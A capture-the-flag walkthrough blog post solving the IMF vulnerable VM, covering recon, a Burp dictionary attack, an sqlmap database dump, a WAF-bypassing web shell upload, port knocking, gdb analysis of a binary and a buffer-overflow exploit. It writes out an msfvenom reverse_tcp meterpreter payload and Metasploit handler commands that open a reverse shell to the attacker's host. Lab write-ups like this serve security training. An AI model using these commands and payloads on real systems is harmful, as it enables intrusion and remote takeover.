Hello friends! Today we are going to take another CTF challenge known as IMF. The credit for making this vm machine goes to “Geckom” and it is another CTF challenge where we have to find 6 flags to complete the challenge. You can download this VM here.

Let’s Breach!!!

Let us start form getting to know the IP of VM (Here, I have it at 192.168.0.25 but you will have to find your own)

netdiscover

Use nmap for port enumeration

nmap -sV  192.168.0.25

We find port 80 is open, so we open the ip address in our browser.

We take a look at our source code and found a few javascript files that look like base64 encoded.

We open them and find nothing interesting but when we join their name and decode them we find our 2^nd flag.

Inside the flag we find another base64 encode string, decoding it we find a string called imfadministrator.

We take a look around the website and in the source code of contact.php page we find our 1^st flag.

Flag 1 contains a base64 encoded string decoding it we find a string called allthefiles.

We open allthefiles and imfadministrator on the browser. We find that imfadministrator is a directory that leads to a login page.

In the contact.php page we found a few email addresses so we use cewl to make a dictionary.

We use burpsuite to launch a dictionary attack. We select the position and change the password from string to array.

Now we find the third flag in our response, when the login is successful.

Now that we can access the page we see that the page might be vulnerable to sql injection.

Using burpsuite we capture the request of this page and save it in a text file.

We use sqlmap to dump the database.

sqlmap -r /root/Desktop/imf.txt –dbs –batch –dump-all

We find the name of the pages along with another page called tutorial-incomplete. We open it on our browser and find a page with QR-code inside an image.

When we decode the QR-code we our 4^th flag.

Inside our flag we find a base64 encoded string, when we decode it we find a string called uploadr942.php         

We open it on our browser and find a page to upload a file.

Now while uploading a shell we find that it is protected from WAF, so we create a custom shell and save it as GIF file to bypass the WAF.

Now we upload the file and check the response from the server to find where our file is uploaded.

We find server sends a string in a comment, we find our file is in uploads folder and the comment in the response sent by server is the name of our file.

After finding our shell, we find 5^th flag. Now we use web_delivery to take reverse shell using metasploit.

We setup our metasploit for web delivery and execute the command on our shell.

Now that we have the reverse shell we take a look inside 5^th flag

We find a base64 encode string when we decode it we find a string agentservices.

We check the connections of our server using netstat

netstat -antp

We found a service running on port 7788, we use curl to find what the server is running on port 7788.

curl localhost:7788

We find a service called agent is running so we find the location of agent using which command

which agent

When we move into the folder we found a file called access_codes, we open it and find a few numbers. It looks like a sequence for port knock.

So we knock the server and find that port 7788 opened.

Knock 192.168.0.25 7482 8279 9467

Now we download agent program file to our system for reverse engineering.

download agent /root/Desktop

Now we reverse engineer the file to find an exploit. First we disassemble main function.

gdb -q agent

disassemble main

We find that at memory address 80486ba, string compare function takes place so we add a break point there.

We break the program at 80486ba, and run the program. After running the programs, we look at the memory locations associated with the program.

break *0x80486ba

info registers

We look inside four halfwords of memory above starck pointer

x/4xw 0xffffd340

In the memory address 804c070 we found the password to access the program.

x/s 0x0804c070

Now we access the program from the server using netcat and find that the string can give us access to the program

netcat 192.168.0.25 7788

Now we create an exploit for this program, first we create a shellcode for msfvenom payload.

msfvenom –p linux/x86/meterpreter/reverse_tcp lhost=192.168.0.15 lport=4444 –f python –b \x00\xa0\x0d

Now we create our exploit using python. We manually fuzz the memory location inside our exploit.

We setup our handler on metesploit and execute the shell.

msf > use exploit/multi/handler

msf exploit (handler) > set payload linux/x86/meterpreter/reverse_shell

msf exploit (handler) > set lhost 192.168.0.15

msf exploit (handler) > set lport 4444

msf exploit (handler) > run

now we check for sessions and take the interactive shell

msf exploit (handler) > sessions

msf exploit (handler) > sessions -i 3

Now we take shell check our privileges, we find that we are root. When we move inside the /root/ folder we find our 6^th and final flag.

Author: Sayantan Bera is a technical writer at hacking articles and cyber security enthusiast. Contact Here